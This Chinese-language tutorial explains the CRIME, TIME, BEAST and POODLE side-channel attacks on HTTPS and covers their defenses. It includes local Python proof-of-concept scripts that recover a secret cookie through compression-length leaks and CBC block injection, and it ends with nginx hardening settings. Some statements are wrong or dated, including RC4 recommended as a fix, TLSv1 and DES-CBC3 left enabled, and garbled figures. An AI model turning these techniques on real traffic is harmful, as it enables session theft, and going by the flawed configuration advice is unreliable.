針對於HTTPS的攻擊,多存在於中間人攻擊的環境中,主要是針對於HTTPS所使用的壓縮算法和CBC加密模式,進行side-channel-attack。這幾類攻擊的前置條件都比較苛刻,且都需要受害主機提交很多次請求來收集破譯關鍵數據的足夠信息。
常見的攻擊方法,主要有,BEAST Lucky-13 RC4 Biases CRIME TIME BREACH等。主要對其中三中進行介紹。
一、CRIMECompression Ratio Info-leak Made Easy
攻擊原理攻擊者控制受害者發送大量請求,利用壓縮算法的機制猜測請求中的關鍵信息,根據response長度判斷請求是否成功。
如下面的https頭,攻擊這可以控制的部分為get請求地址,想要猜測的部分為Cookie。那麼攻擊者只需要在GET地址處,不斷變換猜測字符串,進行猜測。
GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924
比如上面的情況Response長度為 1000byte。
GET /sessionid=d HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924
當攻擊者猜對了cookie的第一個字母,Response的長度會縮小到9999byte。
當Response被SSL加密之後,如果使用RC4加密模式,長度並不會發生隨機改變。使用BCB加密模式時,因為padding的原因,長度會有略微的改變。
受影響的加密算法Deflate = LZ77 + HuffManGZip = Headers + Data Compressed using Deflate
攻擊前提攻擊者可以獲取受害者的網絡通信包。(中間人攻擊,ISP供應商)
瀏覽器和伺服器支持均支持並使用壓縮算法。
攻擊這可以控制受害者發送大量請求並可以控制請求內容。
防禦方法客戶端可以升級瀏覽器來避免這種攻擊。
• Chrome: 21.0.1180.89 and above• Firefox: 15.0.1 and above• Opera: 12.01 and above• Safari: 5.1.7 and above
伺服器端可以通過禁用一些加密算法來防止此類攻擊。
Apache
• SSLCompression flag = 「SSLCompression off」
• GnuTLSPriorities flag = 「!COMP-DEFLATE"
禁止過於頻繁的請求。
修改壓縮算法流程,用戶輸入的數據不進行壓縮。
隨機添加長度不定的垃圾數據。
影響範圍
TLS 1.0.SPDY protocol (Google).Applications that uses TLS compression.Mozilla Firefox (older versions) that support SPDY.Google Chrome (older versions) that supported both TLS and SPDY.
POC這個poc並不是模擬真實環境下的中間人攻擊,只是在python中利用CRIME的思想驗證了攻擊的可行性。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import string
import zlib
import sys
import random
charset = string.letters + string.digits
COOKIE = ''.join(random.choice(charset) for x in range(30))
HEADERS = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret="+COOKIE+"\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
BODY = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret=")
cookie = ""
def compress(data):
c = zlib.compressobj()
return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
def getposset(perchar,chars):
posset = []
baselen = len(compress(HEADERS+perchar))
for i in chars:
t = len(compress(HEADERS+ perchar+i))
if (t<=baselen):
posset += i
return posset
def doguess():
global cookie
while len(cookie)<30:
posset = getposset(BODY+cookie,charset)
trun = 1
tem_posset = posset
while 1<len(posset):
tem_body = BODY[trun:]
posset = getposset(tem_body+cookie,tem_posset)
trun = trun +1
if len(posset)==0:
return False
cookie += posset[0]
print posset[0]
return True
while BODY.find("\r\n")>=0:
if not doguess():
print "(-)Changebody"
BODY = BODY[BODY.find("\r\n") + 2:]
print "(+)orign cookie"+COOKIE
print "(+)Gotten cookie"+cookie
二、TIMETiming Info-leak Made Easy
攻擊原理攻擊者控制受害者發送大量請求,利用壓縮算法的機制猜測請求中的關鍵信息,根據response響應時間判斷請求是否成功。其實TIME和CRIME一樣都利用了壓縮算法,只不過CRIME是通過長度信息作為輔助,而TIME是通過時間信息作為輔助。
Unable to render embedded object: File (1.jpg) not found.
如上圖當數據長度,大於MTU時會截斷為兩個包發送,這樣就會產生較大的相應時間差異。攻擊者吧包長控制在MTU左右,不斷嘗試猜測COOKIE。 Unable to render embedded object: File (QQ圖片20140724174303.jpg) not found.
如上圖所示,我們通過添加Padding來吧數據包大小增加到和MTU相等,Case 1中我們添加的extraByte和需要猜測的數據重合,因為壓縮算法的原因,並不會增加包的長度,而Case 2中extraByte和需要猜測的數據並不一致,導致了分包。攻擊這可以通過響應時間的不同來區分Case1 Case2兩種情況。
攻擊前提攻擊這可以控制受害者發送大量請求並可以控制請求內容。
穩定的網絡環境。
防禦方法在解密Response過程中加入隨機的短時間延遲。
阻止短時間內的頻繁請求。
三、BEASTBrowser Exploit Against SSL/TLS
攻擊原理攻擊者控制受害者發送大量請求,利用CBC加密模式猜測關鍵信息。
CBC模式工作的方法是當加密第i塊的時候,和第i-1塊的密文異或。更正式地表達如下:
Ci= E(Key, Ci-1 ⊕ Mi)
很顯然,當你加密第一塊的時候,沒有前一塊的密文和它異或,因此,標準的做法是產生一個隨機的初始化向量(IV),並且用它和第一塊明文異或。第一塊M0的加密如下:
C0= E(Key, IV ⊕ M0).
然後,接著第一塊M1加密如下:
C1= E(Key, C0 ⊕ M1).
現在,除非C0 碰巧和IV一樣(這是非常不可能的),那麼,即使M0 = M1,對於加密函數來說,兩個輸入是不同的,因此,C0≠ C1。 CBC有兩種的基本的使用方法:
1. 對於每條記錄都認為是獨立的;為每一個記錄產生一個IV
2. 把所有的記錄當作一個連結在一起的大對象,並且在記錄之間繼續使用CBC的狀態。這意味著最後一條記錄n的IV是n-1條記錄的密文。
SSLV3和TLS1.0選擇的是第二個用法。這好像本來就是個錯誤
CBC有兩種的基本的使用方法:
1. 對於每條記錄都認為是獨立的;為每一個記錄產生一個IV
2. 把所有的記錄當作一個連結在一起的大對象,並且在記錄之間繼續使用CBC的狀態。這意味著最後一條記錄n的IV是n-1條記錄的密文。
SSL 3.0和TLS1.0選擇的是第二個用法。因此產生了加密算法的安全問題。
攻擊者可以把想要猜測的數據段替換掉成:
X ⊕ Ci-1 ⊕ P
當這個注入的內容被加密,X會被異或,結果傳給加密算法的明文塊如下:
Ci-1 ⊕ P
如果P==Mi , 新的密文塊將和Ci一樣,這意味著,你的猜測是正確的。
攻擊前提攻擊者可以獲取受害者的網絡通信包。(中間人攻擊,ISP供應商)
攻擊者需要能得到發送敏感數據端的一部分權限。以便將自己的信息插入SSL/TLS會話中。
攻擊者需要準確的找出敏感數據的密文段。
攻擊這可以控制受害者發送大量請求並可以控制請求內容。
防禦方法使用RC4加密模式代替BCB加密模式。
部署TLS 1.1或者更高級的版本,來避免SSL 3.0/TLS 1.0帶來的安全問題。
在服務端設置每傳輸固定字節,就改變一次加密秘鑰。
影響範圍
TLS 1.0.SPDY protocol (Google).Applications that uses TLS compression.Mozilla Firefox (older versions) that support SPDY.Google Chrome (older versions) that supported both TLS and SPDY.
POC僅在python上模擬了攻擊思想的實現,編碼中只實現了第一個字母的猜測。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import sys
import string
import random
from Crypto.Cipher import AES
key = 'lyp62/22Sh2RlXJF'
mode = AES.MODE_CBC
vi = '1234567812345678'
charset = string.letters + string.digits
cookie = ''.join(random.choice(charset) for x in range(30))
HEADERS = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret="+cookie+"\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
global pad_num
def add_padding(plaintext):
global pad_num
pad_num = 16 - len(plaintext) % 16
for i in range(0,pad_num):
plaintext += chr(pad_num)
return plaintext
def check_padding(plaintext):
global pad_num
for i in range(1,pad_num+1):
if (plaintext[-i]!=chr(pad_num)):
return False
return True
def encrypto(plaintext):
global pad_num
obj = AES.new(key,mode,vi)
if (len(plaintext) % 16):
plaintext = add_padding(plaintext)
else:
pad_num=0
ciphertext = obj.encrypt(plaintext)
if (check_padding(ciphertext)):
return ciphertext
else:
return 0
def decrypto(ciphertext):
obj = AES.new(key,mode,vi)
plaintext = obj.decrypt(ciphertext)
return plaintext
def findcookie():
global HEADERS
return HEADERS.find('secret=')+7
guess_cookie=''
pos_cookie=findcookie()
pos_block_s = pos_cookie + 16 - pos_cookie%16
HEADERS = HEADERS[:pos_cookie] + (16 - pos_cookie % 16 + 15)*'a' +HEADERS[pos_cookie:]
encry_head = encrypto(add_padding(HEADERS))
per_per_block = encry_head[pos_block_s - 16:pos_block_s]
per_block = encry_head[pos_block_s:pos_block_s+16]
aft_block = encry_head[pos_block_s+16:pos_block_s+32]
for i in charset:
guess_block = 'a' * 15 + i
insert_block = ''.join(chr(ord(a) ^ ord(b) ^ ord(c)) for a,b,c in zip(per_block,per_per_block,guess_block))
temp_header = HEADERS[:pos_block_s+16] + insert_block + HEADERS[pos_block_s+16:]
encry_temp_header = encrypto(add_padding(temp_header))
if (aft_block == encry_temp_header[pos_block_s+32:pos_block_s+48]):
print "(+)first byte is:"+i
print "(+)orign cookie:"+cookie
攻擊者首先使用降級攻擊,來讓瀏覽器使用ssl v3.0,再通過ssl v3.0 CBC-mode 存在的缺陷,竊取到用戶傳輸的明文。
四、POODLE降級攻擊
ssl v3.0是一個存在了很久的協議了,現在大多數瀏覽器為了兼容性都會支持這個協議,但是並不會首先使用這個協議,中間人攻擊者可以駁回瀏覽器協商高版本協議的請求,只放行ssl v3.0協議。
Padding Oracle攻擊針對於CBC的攻擊之前已經有一些了,比如,Beast,Lucky17之類的,詳細可以看這裡
首先來看CBC-mod的加解密流程。
解密流程
加密流程
校驗流程MAC1 = hash(明文)
密文 = Encode(明文+MAC1+Padding,K) 明文 = Decode(密文,k) - MAC1-Padding(padding的長度由最後一個字節標識)
MAC2 = hash(明文) 如果 MAC1 == MAC2 則校驗成功 否則失敗
知二求三Padding Oracle 攻擊一般都會滿足一個知二求三的規律,如下圖
(1) VI
(2) 解密後的數據,叫它 midText把
(3) Plaintext
這三個值我們得到其中兩個就可以推出另外一個,因為他們在一起Xor了嘛。
http://drops.wooyun.org/wp-content/uploads/2014/12/file0004.jpg
在Poodle攻擊中,我們會把最後一個數據塊替換成我們想要猜測的數據塊。如下圖所示。
這樣導致的直接後果就是,CBC完整性驗證失敗,數據包被駁回。我們假設最後一個數據塊均為padding組成(其實我們可以通過控制包的長度來達到這一目的,比如增加path的長度)
那麼若且唯若Plaintext[7] == 7(block為16為時為15) 的時候CBC完整性校驗才會通過。如果不為7,多刪或者少刪的padding,都會影響到MAC的正確取值,從而導致校驗失敗。
那麼,我們只需要不斷地更改(1) IV 最後一位的值 ,直到(3) Plaintext最後一位為 7 (CBC驗證通過)的時候,我們就可以推出 (2) mid text 的最後一位。
POODLEBEASTLucky-13RC4 BiasesPadding Oracle On Downgraded Legacy Encryptiontext-base-side-channel-attacktime-base-side-channel-attacktime-base-side-channel-attack低版本SSL,中間人,大量數據包,BCB模式低版本SSL,中間人,大量數據包,發送內容可控,BCB模式響應時間,大量數據報,發送內容可控響應時間,大量數據報,發送內容可控,RC4模式五、安全配置建議此處的安全配置以nginx為例,主要在Nginx.conf中配置。
使用較為安全的SSL加密協議。
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
使用嚴格的加密方法設置。
ssl_ciphers 'ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4';
優先依賴伺服器密碼。
ssl_prefer_server_ciphers on;
啟用HSTS協議。
add_header Strict-Transport-Security max-age=15768000;
重定向的配置
server { listen 80; add_header Strict-Transport-Security max-age=15768000; return 301 https://www.yourwebsite.com$request_uri;}
使用2048位的數字證書
openssl dhparam -out dhparam.pem 2048ssl_dhparam /path/to/dhparam.pem;
回覆:QQ群,微信群,可加群交流。